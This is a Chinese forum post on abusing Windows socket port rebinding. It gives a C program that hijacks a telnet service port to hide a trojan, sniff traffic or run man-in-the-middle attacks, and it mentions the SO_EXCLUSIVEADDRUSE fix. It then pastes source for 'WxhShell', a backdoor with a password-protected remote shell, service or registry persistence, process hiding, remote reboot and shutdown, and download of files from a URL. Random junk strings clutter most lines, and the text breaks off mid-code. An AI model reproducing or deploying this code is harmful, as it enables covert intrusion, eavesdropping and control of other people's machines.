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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4r9AUmJqw  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )Zrn?KM  
|Rb8 / WX  
  saddr.sin_family = AF_INET; #2%8@?_-M  
TIno"tc3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gKRlXVS  
|j4;XaG)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); TtgsM}Fm  
W&2r{kCsQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MgH O WoF  
h-\+# .YP  
  这意味着什么?意味着可以进行如下的攻击: *?o 'sTH  
%%lJyLq'Vk  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3&B- w  
(>gb9n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) BuS[(  
3*eS<n[uG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E-#C#B  
b3q&CJ4|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %\!@$]3q  
o1[[!~8e  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 HyIyrUrYW  
I1JF2" {c  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mA5sK?W  
mh#_lbe'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7M$cIWe$  
M?I^`6IOc8  
  #include nsu RG  
  #include yRt7&,}zL  
  #include H)5"<=]  
  #include    ?F|F~A8dr  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5zH_yZ@+  
  int main() 3/8<dc  
  { Y5<W"[B!  
  WORD wVersionRequested; :%IB34e  
  DWORD ret; H )Ze{N  
  WSADATA wsaData; }zrapL"9X  
  BOOL val; `|4k>5k  
  SOCKADDR_IN saddr; `Cz_^>]|=  
  SOCKADDR_IN scaddr; KR>o 2  
  int err; :71St '  
  SOCKET s; [f=Y*=u9,  
  SOCKET sc; n"nfEA3{`  
  int caddsize; "FLiSz%ME  
  HANDLE mt; K/8TwB?I  
  DWORD tid;   4 Z&KR<2Z  
  wVersionRequested = MAKEWORD( 2, 2 ); seZb;0  
  err = WSAStartup( wVersionRequested, &wsaData ); ^_uCSA'X  
  if ( err != 0 ) { E*QLw* H  
  printf("error!WSAStartup failed!\n"); SxL/]jWR7  
  return -1; :13u{5:th  
  } V/yj.aA*@  
  saddr.sin_family = AF_INET; Sea6xGdq  
   k!d<2Qp W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 rf]x5%ij  
rg I Z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |]b,% ?,U  
  saddr.sin_port = htons(23); $rPQ%2eF4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1?,C d  
  { p,7?rI\N  
  printf("error!socket failed!\n"); -a7BVEFts  
  return -1; 5X:3'*  
  } /b410NP5  
  val = TRUE; DDZnNSo<JQ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &a'LOq+r'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Fp>nu_-"  
  { br*PB]dU  
  printf("error!setsockopt failed!\n"); AL|3_+G  
  return -1; }l_8~/9  
  } CaV)F3   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }Zfi/^0U  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 877Kv);  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X=Jt4 h 9  
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  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ul!q)cPb{  
  { |Gr@Mi5  
  ret=GetLastError(); lz _ r  
  printf("error!bind failed!\n"); )*aAkM  
  return -1; =Ea,8bpn  
  } '30JJ0  
  listen(s,2); ulfs Z:  
  while(1) D H:9iX'  
  { cvYKZB  
  caddsize = sizeof(scaddr); OXbC\^qo@  
  //接受连接请求 R#s_pW{op  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); LdnTdh?  
  if(sc!=INVALID_SOCKET) HstL'{&,-m  
  { V OT9cP^6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ZHCrKp  
  if(mt==NULL) 0f9U:)1z  
  { ovaX_d)cU  
  printf("Thread Creat Failed!\n"); {~#d_!(  
  break;  &%T*sR  
  } +^*b]"[  
  } YB(8 T"  
  CloseHandle(mt); V@K^9R,|  
  } O mph(  
  closesocket(s); ri4:w_/{,Y  
  WSACleanup(); qJR8fQ  
  return 0; ] ~ }~d(  
  }   >]2^5C;  
  DWORD WINAPI ClientThread(LPVOID lpParam) [~?6jnp  
  { bG+Gg*0p  
  SOCKET ss = (SOCKET)lpParam; IEWl I  
  SOCKET sc; LYTnMrM  
  unsigned char buf[4096]; }TDq7-(g  
  SOCKADDR_IN saddr; _B\87e  
  long num; qipS`:TER  
  DWORD val; {vur9L  
  DWORD ret; rym*W\AWx  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #r]GnC,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   C}\kp0mz  
  saddr.sin_family = AF_INET;  !>Q{co'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); D2zqDo<+;  
  saddr.sin_port = htons(23); wd1>L) T  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SRrp= >w?  
  { ^[v>B@p*{  
  printf("error!socket failed!\n"); lo36b zbT  
  return -1; !"'@c  
  } #q8/=,3EG  
  val = 100; 7r pTk&`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7>-99o^W  
  { x[$ :^5V  
  ret = GetLastError(); M->#WGl\B  
  return -1; !RN9wXS7  
  } ~xc0Ky?8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >uE<-klv  
  { ZQmg;L&7  
  ret = GetLastError(); <lWBhrz  
  return -1; rEs!gGNN  
  } .L ^F4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z0T6a15f!P  
  { $[b1_Db  
  printf("error!socket connect failed!\n"); :kXxxS  
  closesocket(sc); 1119YeL  
  closesocket(ss); zhU^~4F  
  return -1; |2I p*  
  } Ex{;&UWm  
  while(1) fg GTm:   
  { +@<@x4yt  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %gTY7LIe1z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ZOL#Q+U  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +Xmza8T9  
  num = recv(ss,buf,4096,0); @! jpJ}  
  if(num>0) YwJ<0;:+hS  
  send(sc,buf,num,0); ~Yg+bwh  
  else if(num==0) u<HJFGLzI  
  break; qtp-w\#S$  
  num = recv(sc,buf,4096,0); dkZ[~hEQG-  
  if(num>0) PH!rWR  
  send(ss,buf,num,0); yI's=Iu`  
  else if(num==0) 1["IT.,f.  
  break; [O6JVXO>  
  } "mcuF]7F  
  closesocket(ss); _61tE  
  closesocket(sc); [V;Q#r&+  
  return 0 ; I5g!c|#y  
  } QW&@>i  
{;hR FQ^b  
N ^H H&~V  
========================================================== T7*p! 0  
M5+K[Ir/y9  
下边附上一个代码,,WXhSHELL  j g_;pn  
QB7^8O!<  
========================================================== h'A #Yp0,  
|l,0bkY@&  
#include "stdafx.h" wE_#b\$=b  
9bD ER  
#include <stdio.h> a6g+"EcH#'  
#include <string.h> (M%ZSF V  
#include <windows.h> +VHo YEW  
#include <winsock2.h> OWmI$_L  
#include <winsvc.h> QC+BEN$  
#include <urlmon.h> 58Z,(4:E  
_i0,?U2C  
#pragma comment (lib, "Ws2_32.lib") _\AT_Zmy  
#pragma comment (lib, "urlmon.lib") </qli-fXB}  
Yk5Cyq  
#define MAX_USER   100 // 最大客户端连接数 1@Rl^ey  
#define BUF_SOCK   200 // sock buffer =z2g}X  
#define KEY_BUFF   255 // 输入 buffer ]ov"&,J  
RaB%N$.9s  
#define REBOOT     0   // 重启 n^rzl6dy  
#define SHUTDOWN   1   // 关机 0EUC8Ni  
@|9V]bk  
#define DEF_PORT   5000 // 监听端口 7XiR)jYo*  
Tc;j)_C)  
#define REG_LEN     16   // 注册表键长度 ffh3okyW0  
#define SVC_LEN     80   // NT服务名长度 2tdr1+U?g  
AO0aOX8_+D  
// 从dll定义API tR-rW)0K3Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =bb)B(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Fx@@.O6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .4,l0Nn`W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3d>xg%?  
S{)'1J_0  
// wxhshell配置信息 q6V\n:hKV  
struct WSCFG { q]z%<`.9*  
  int ws_port;         // 监听端口 9'h4QF+Y  
  char ws_passstr[REG_LEN]; // 口令 U9yR~pw  
  int ws_autoins;       // 安装标记, 1=yes 0=no x5!lnN,#  
  char ws_regname[REG_LEN]; // 注册表键名 J ?H| "  
  char ws_svcname[REG_LEN]; // 服务名 zvh&o*\2<d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $lAhKpdlW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (\$=+' hy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F0+@FS0   
int ws_downexe;       // 下载执行标记, 1=yes 0=no bOdyrynh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %hb!1I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RhumNP<M  
Ec|5'Kz]  
}; r`d.Wy Zj  
OeY+Yt0  
// default Wxhshell configuration ?L6ACi`9  
struct WSCFG wscfg={DEF_PORT, R>`TV(W`9  
    "xuhuanlingzhe", r!O4]j_3  
    1, ;O * o  
    "Wxhshell", GZNfx8zsY+  
    "Wxhshell", Dq~D4|  
            "WxhShell Service", !\N|$-M  
    "Wrsky Windows CmdShell Service", mX QVL.P\  
    "Please Input Your Password: ", iCZ1ARi  
  1, W8s/"  
  "http://www.wrsky.com/wxhshell.exe", h%(0|  
  "Wxhshell.exe" HXRK<6k$  
    }; MNsgD3  
Ed&M  
// 消息定义模块 ewzZb*\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mi$*,fz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~JxAo\2i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #kL4Rm;  
char *msg_ws_ext="\n\rExit."; B}2 JK9  
char *msg_ws_end="\n\rQuit."; Km,:7#aV  
char *msg_ws_boot="\n\rReboot..."; St~a/L q6  
char *msg_ws_poff="\n\rShutdown..."; %%Z|6V74  
char *msg_ws_down="\n\rSave to "; >PK\bLEo  
(%f2ZNen  
char *msg_ws_err="\n\rErr!"; (= ,w$  
char *msg_ws_ok="\n\rOK!"; rQD7ZN_ R  
,#QLc  
char ExeFile[MAX_PATH]; gIaPS0Q  
int nUser = 0; =[V  
HANDLE handles[MAX_USER]; Z\P&i#  
int OsIsNt; 9x[|75}l  
rD SUhO{V  
SERVICE_STATUS       serviceStatus; PEHaH"|([=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s9}VnNr  
00(#_($  
// 函数声明 5_ioJ   
int Install(void); #u6ZCv7u  
int Uninstall(void); +b6kU{  
int DownloadFile(char *sURL, SOCKET wsh); '9#h^.  
int Boot(int flag); 5$p7y:  
void HideProc(void); ]NgEN  
int GetOsVer(void); 5qx$=6PT  
int Wxhshell(SOCKET wsl); [}!obbM  
void TalkWithClient(void *cs); h> A}vI*:  
int CmdShell(SOCKET sock); c<j  +"  
int StartFromService(void); .jjv S  
int StartWxhshell(LPSTR lpCmdLine); !aub@wH3  
qT+:oMrTSm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %O_Ed {G4t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N8w@8|KM  
w0N8a%  
// 数据结构和表定义 e4?p(F-x(  
SERVICE_TABLE_ENTRY DispatchTable[] =  ] cY  
{ $+.!(Js"K  
{wscfg.ws_svcname, NTServiceMain}, J`x!c9zg7  
{NULL, NULL} t|y`Bl2  
}; $6p|}<u  
B\} B H  
// 自我安装 5(sWV:_2  
int Install(void) gXI8$W>  
{ gzD NMM  
  char svExeFile[MAX_PATH]; @G;\gJT*  
  HKEY key; >rb8A6  
  strcpy(svExeFile,ExeFile); -THU5AB  
+HOHu*D  
// 如果是win9x系统,修改注册表设为自启动 z?i{2Fz6  
if(!OsIsNt) { X6g{qzHg_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8o4?mhqV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !K$qh{n  
  RegCloseKey(key); JHZ`LWq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |ydOi&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X0QLT:J b  
  RegCloseKey(key); 9F^rXY.  
  return 0; UjI -<|  
    } oDEvhN T  
  } SYsbe 5j  
} !Cv:,q  
else { N N;'QiE  
]aF!0Fln~  
// 如果是NT以上系统,安装为系统服务 =-U8^e_Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YKT=0   
if (schSCManager!=0) IJt8 * cw  
{ Z#P:C":e  
  SC_HANDLE schService = CreateService -N]%) Hy  
  ( f~NGIlgR  
  schSCManager, p:n.:GZ=y  
  wscfg.ws_svcname, EsR$H2"  
  wscfg.ws_svcdisp, 0cBk/x^s  
  SERVICE_ALL_ACCESS, X}s}E ;v9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #^ cmh  
  SERVICE_AUTO_START, &^4E)F  
  SERVICE_ERROR_NORMAL, +P?^Yx0d  
  svExeFile, Hkck=@>8H*  
  NULL, rFPfTpS  
  NULL, XV> )[Nd\H  
  NULL, P,@ :?6  
  NULL, NlnmeTLO5  
  NULL Y uo  
  ); atA:v3"  
  if (schService!=0) 4dwG6-  
  { K^'NG!  
  CloseServiceHandle(schService); #I(Ho:b  
  CloseServiceHandle(schSCManager); 'U" ub2j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T@ecWRro  
  strcat(svExeFile,wscfg.ws_svcname); uqg#(ADy?R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dUg| {l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GcL:plz  
  RegCloseKey(key); {tlt5p!4  
  return 0; <!r0[bKz@  
    } /Ky xOb)  
  } yj48GQP]  
  CloseServiceHandle(schSCManager); )ZA3m _w]  
} >(aGk{e1  
} jg_##Oha  
.;&1"b8G  
return 1; psHW(Z8G  
} oMj;9,WK'  
CQ+WBTiC  
// 自我卸载 *75?%l  
int Uninstall(void) (t\ F>A  
{ n 7Bua  
  HKEY key; ]"Qm25`Qz  
1|c\^;cTkt  
if(!OsIsNt) { 9(PQ7}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #6%9*Rh  
  RegDeleteValue(key,wscfg.ws_regname); ^l(Kj3gM  
  RegCloseKey(key); `T]1u4^E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rfdT0xfcU  
  RegDeleteValue(key,wscfg.ws_regname); @}{~Ofs  
  RegCloseKey(key); w9J^s<e  
  return 0; RI q9wD}4(  
  } xxlYn9ke  
} Ew|VDD(.  
} _m+64qG_8'  
else { ]hxE^/87  
(KF=v31_m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P,ox) )+6  
if (schSCManager!=0) E9L)dMZSpj  
{ +4,v. B@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^mu?V-4  
  if (schService!=0) >lRa},5(  
  { HJn  
  if(DeleteService(schService)!=0) { Z,~EH  
  CloseServiceHandle(schService); *Hnk,?kPq  
  CloseServiceHandle(schSCManager); FYe(S V(9  
  return 0; k>8,/ AZd  
  } Q]q`+ Z65  
  CloseServiceHandle(schService); +H7lkbW  
  } _p~lL<q-K[  
  CloseServiceHandle(schSCManager); $RYsqX\v  
} q DQ$Zq[  
} nzdJ*C  
St6U  
return 1; YuZxKuGy  
} @GB~rfB[  
XCGJ~  
// 从指定url下载文件 [a&|c%h  
int DownloadFile(char *sURL, SOCKET wsh) XkWO-L  
{ 0t-!6  
  HRESULT hr; @@,l0/  
char seps[]= "/"; 1HF=,K+  
char *token; g?'4G$M  
char *file; Ig hd,G-  
char myURL[MAX_PATH]; `(r [BV|h}  
char myFILE[MAX_PATH]; gsqpQq7  
yJ(p-3O5  
strcpy(myURL,sURL); M mjeFv  
  token=strtok(myURL,seps); RE72%w(oM  
  while(token!=NULL) 26c,hPIeXY  
  { `@acQs;0  
    file=token; Qg\OJmv  
  token=strtok(NULL,seps); JY+ N+c\  
  } Pw^ lp'dO  
ZR~ *Yofy  
GetCurrentDirectory(MAX_PATH,myFILE); wz-#kH5?  
strcat(myFILE, "\\"); HbRDa  
strcat(myFILE, file); p/4\O  
  send(wsh,myFILE,strlen(myFILE),0); '\ $2+*  
send(wsh,"...",3,0); 0$-N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cMCGaaLU  
  if(hr==S_OK) poqcoSL"}  
return 0; r.5}Q?  
else *LTFDC  
return 1; &uh|! lD  
;E8.,#/a  
} =AhXEu^  
u;fD4CA  
// 系统电源模块 *Txt`z[|  
int Boot(int flag) 9Ytf7NpR  
{ !^dvtv`K  
  HANDLE hToken; H5f>Q0jq  
  TOKEN_PRIVILEGES tkp; bp06xHMu  
ohFUy}y  
  if(OsIsNt) { - I$qe Xy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6gLk?^.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y{.s 4NT  
    tkp.PrivilegeCount = 1; %<|w:z$vp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mCa [?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }{J5)\s9  
if(flag==REBOOT) { l .8@F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zFy0Sz F  
  return 0; wzr3 y}fCe  
} u? a*bW  
else { JmJ8s hq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J1waiOh  
  return 0; ,4bqjkX5q  
} "T`Q,  
  } xwZcO  
  else { 28KS*5S  
if(flag==REBOOT) {  a=<l}`*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Le&SN7I  
  return 0; jl;%?bx  
} Hshm;\'  
else { 9o|=n'o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9sQ4 $  
  return 0; kKU,|> 3h  
} \ /3Xb  
} VP|ga }(  
EkV LSur  
return 1;  #K8kz  
}  aKkG[q N  
>4gGb)  
// win9x进程隐藏模块 Y)kO"  
void HideProc(void) :G/T{87H  
{ .w/_Om4T*b  
K:!|xr(1d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `'Fz :i  
  if ( hKernel != NULL ) A4lh`n5%  
  { -6(u09mb_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )z'LXy8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [FHSFr E,5  
    FreeLibrary(hKernel); Q+ r4  
  } 1(z&0Y;  
;naD`([  
return; _lrCf  
} >wiW(Ki}  
xXpeo_y'  
// 获取操作系统版本 wb@TYvDt  
int GetOsVer(void) d4Y8q1  
{ |!VSed#FSn  
  OSVERSIONINFO winfo; `GsFvxz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Yx4TUA$c'  
  GetVersionEx(&winfo); oMH-mG7:K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :J|t! `  
  return 1; <!ewb=[_$  
  else 0{0|M8  
  return 0; ')k n  
} o1x IGP<  
Q/oel'O*x  
// 客户端句柄模块 ai7*</ls  
int Wxhshell(SOCKET wsl) 7B@[`>5?%L  
{ 1'c  
  SOCKET wsh; (1`z16  
  struct sockaddr_in client; 2!Ip!IQ:  
  DWORD myID; ZJCD)?]=3  
ZP>KHiA  
  while(nUser<MAX_USER) >7yOu!l  
{ >syQDB  
  int nSize=sizeof(client); HmWU;9Vn+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h,-8( S  
  if(wsh==INVALID_SOCKET) return 1; tDF=Iqu)a  
[42vO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P`JO6O:&  
if(handles[nUser]==0) kPt9(E]  
  closesocket(wsh); yi7m!+D3  
else a2l\B~n  
  nUser++; g3r4>SA  
  } ~NYy@l   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bo]xah|."j  
#/u%sX`#y  
  return 0; &/K:zWk3mx  
} 7X \azL  
! &f(X s  
// 关闭 socket }}AooziH9  
void CloseIt(SOCKET wsh) aJ[K'5|  
{  3z^l  
closesocket(wsh); X2avo|6e  
nUser--; F`W8\u'db  
ExitThread(0); 739J] M  
} E;[ANy4L  
V2< 4~J2:9  
// 客户端请求句柄 Y7QIFY's~  
void TalkWithClient(void *cs) O>Y Xvu  
{ dgb#PxOMH  
Ho3$T  
  SOCKET wsh=(SOCKET)cs; 'Xl[ y  
  char pwd[SVC_LEN]; ,L iX  
  char cmd[KEY_BUFF]; de.!~%D  
char chr[1]; %kM|Hk3d  
int i,j; k)VoDxMKK  
k5]M~"  
  while (nUser < MAX_USER) { J&%d(EJM  
U%2[,c_  
if(wscfg.ws_passstr) { _wa1R+`_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {fi:]|<1h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W'f{u&<  
  //ZeroMemory(pwd,KEY_BUFF); Ey5E1$w%&  
      i=0; O gQE1{C  
  while(i<SVC_LEN) { #b[B$  
qT( 3M9!  
  // 设置超时 i qCZIahf  
  fd_set FdRead; dA;f`Bi;Q  
  struct timeval TimeOut; c< ke)@  
  FD_ZERO(&FdRead); `4 Jlf!  
  FD_SET(wsh,&FdRead); |Gc2w]\3  
  TimeOut.tv_sec=8; RS'%;B-)  
  TimeOut.tv_usec=0; Ol8ma`}Nq3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j5lSu~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m791w8Vr  
9UD~$_<\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SKx&t-  
  pwd=chr[0]; B>dXyo  
  if(chr[0]==0xd || chr[0]==0xa) { CO25  
  pwd=0; XdKhT618G  
  break; fD8A+aA  
  } `mU'{  
  i++; #!,tId  
    } oM`[&m.,  
s`2Hf&%aZJ  
  // 如果是非法用户,关闭 socket dpHK~n j\_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #q`-"2"|  
} ]AlRu(  
`'BvUTDyZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \ "193CW!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vj^<V|=  
AplXl=  
while(1) { vh8{*9+  
:G#>):  
  ZeroMemory(cmd,KEY_BUFF); mz\d>0F U.  
_KSYt32N  
      // 自动支持客户端 telnet标准   N :E7rtT,M  
  j=0; &r \pQ};  
  while(j<KEY_BUFF) { VH3 j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `@MY}/ o.  
  cmd[j]=chr[0]; \M4/?<g  
  if(chr[0]==0xa || chr[0]==0xd) { psb$rbu7[  
  cmd[j]=0; s_} 1J,Y  
  break; ^+CTv  
  } }]cKOv2  
  j++; ^cO^3=  
    } /6_>d $  
F?]nPb|  
  // 下载文件 ejYJOTT{^  
  if(strstr(cmd,"http://")) { i*`;/x'+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w{$t:l)2,  
  if(DownloadFile(cmd,wsh)) HbWl:yU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D{~mJDUzK  
  else 9o7E/wP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rn={:u4  
  } jBexEdH  
  else { bqmOfGM  
SooSOOAx[  
    switch(cmd[0]) { Z/=x(I0  
  Pyc/6~ ?  
  // 帮助 I~lX53D  
  case '?': { ]m0MbA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,@2d <d]  
    break; >SA?lG8f%  
  } E]PHO\f-m}  
  // 安装 7T \}nX1  
  case 'i': { CrHH Ob  
    if(Install()) a}l^+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ ]  
    else 1=C>S2q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3| 5Af  
    break; ?YR/'Vq97  
    } Bor_Kib  
  // 卸载 ;hsgi|Cy-  
  case 'r': { MrIo.  
    if(Uninstall()) |1`|E- S=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o ~"?K2@T  
    else 8E`rs)A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JwR]!  
    break; Q8.SD p  
    } Q5'DV!0aSv  
  // 显示 wxhshell 所在路径 6AgevyVG  
  case 'p': { BwO^F^Pr?k  
    char svExeFile[MAX_PATH]; *RKYdwnb  
    strcpy(svExeFile,"\n\r"); A-:58Qau+  
      strcat(svExeFile,ExeFile); ZgCG'SU  
        send(wsh,svExeFile,strlen(svExeFile),0); $Oa} U3  
    break;  k?|l;6  
    } ;c"T#CH.  
  // 重启 (7w`BR9B  
  case 'b': { fk%r?K6K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]Auk5M+  
    if(Boot(REBOOT)) aaf\%~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ajF-T=5  
    else { $<c0Z6f  
    closesocket(wsh); (xffU%C^  
    ExitThread(0); _uL{@(  
    } )+2GF0%  
    break; =\7o@ 38  
    } -~Kw~RX<(  
  // 关机 ]Bw2>6W  
  case 'd': { l;$HGoJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +5(#~  
    if(Boot(SHUTDOWN)) B5"(NJ;  
